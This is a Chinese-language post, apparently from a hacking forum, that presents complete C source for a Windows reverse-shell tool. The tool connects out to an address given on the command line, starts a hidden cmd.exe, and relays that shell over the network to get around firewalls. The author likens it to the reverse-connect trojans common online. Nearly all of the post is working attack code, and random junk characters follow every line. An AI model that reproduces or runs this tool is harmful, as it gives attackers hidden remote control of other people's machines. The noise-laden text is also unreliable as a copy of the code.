这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MD<x{7O12>
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/* ============================== <\Y(+?+uZ
Rebound port in Windows NT 4[]*=
By wind,2006/7 d-e/0F!
===============================*/ V?"U)Y@Y
#include *C+[I
#include a.gMH
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#pragma comment(lib,"wsock32.lib") er-0i L@
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void OutputShell(); XXA'B{@Y)
SOCKET sClient; 2}/r>]9^-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v@yqTZ
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void main(int argc,char **argv) e],(d7 Jo
{ P, l
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WSADATA stWsaData; oPa oQbR(A
int nRet; Ank_;jo
SOCKADDR_IN stSaiClient,stSaiServer; qM26:kB{
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if(argc != 3) OGJrwl
{ 2W_[|.;'
printf("Useage:\n\rRebound DestIP DestPort\n"); 0]'
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return; jCNR63/
} nXb_\9E
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WSAStartup(MAKEWORD(2,2),&stWsaData); R_GA`U\ {
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K3tW Y
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stSaiClient.sin_family = AF_INET; L?0IUGY
stSaiClient.sin_port = htons(0); |4j6}g\
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7p':a)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4Y1^ U{A+
{ DaHbOs_<
printf("Bind Socket Failed!\n"); '@#(jY0_
return; (yd(ZY
} #EE<MKka
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stSaiServer.sin_family = AF_INET; rOEBL|P0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z~p!7q&g
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r]D>p&4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X_D-K F
{ 9yTkZ`M28
printf("Connect Error!"); lcReRcjm
return; 5-({z%:P
} a+k3wzJ
OutputShell(); saQ
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} #X$s5H
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void OutputShell() Gkfzb>_V]
{ ~/aCzx~
char szBuff[1024]; j)iUg03>/4
SECURITY_ATTRIBUTES stSecurityAttributes; \/Q~C!
OSVERSIONINFO stOsversionInfo; X#h a*u~U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *x p_#
STARTUPINFO stStartupInfo; D[6sy`5l
char *szShell; ".#h$
PROCESS_INFORMATION stProcessInformation; ~Cyn w(
unsigned long lBytesRead; e F}KOOfC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?-`&YfF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); j8^#698X
stSecurityAttributes.lpSecurityDescriptor = 0; t*Z5{
stSecurityAttributes.bInheritHandle = TRUE; FBouXu#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q/j#Pst
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I*cb\eU8Y
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3N2d@R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DOkuT/+
stStartupInfo.wShowWindow = SW_HIDE; BAi0w{
stStartupInfo.hStdInput = hReadPipe; w6mYLK%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ZzR0k
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GetVersionEx(&stOsversionInfo); <W7WlT
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switch(stOsversionInfo.dwPlatformId) .V_5q:tu
{ Z:x`][vg
case 1: b~YIaD[Z
szShell = "command.com"; U-,s/VQ?
break; toOdL0hCe
default: hV)
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szShell = "cmd.exe"; N;>s|ET
break; " L,9.b
} q%vel.L]%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9}fez)m:g0
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send(sClient,szMsg,77,0); N$:-q'hX
while(1) @"^7ASd%
{ $cm9xW&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ICe;p
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if(lBytesRead) jt* B0'Sa
{ /?TR_>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [[';Hi^
send(sClient,szBuff,lBytesRead,0); M&9urOa`
} UL%a^' hR
else #67 7,dn
{ }&6:0l$4!
lBytesRead=recv(sClient,szBuff,1024,0); d1
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if(lBytesRead<=0) break; ]TcQGW@'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $2}%3{<j
} 2hryY
} 37jrWe6xwp
# Oq.}x?i
return; <viC~=k;
}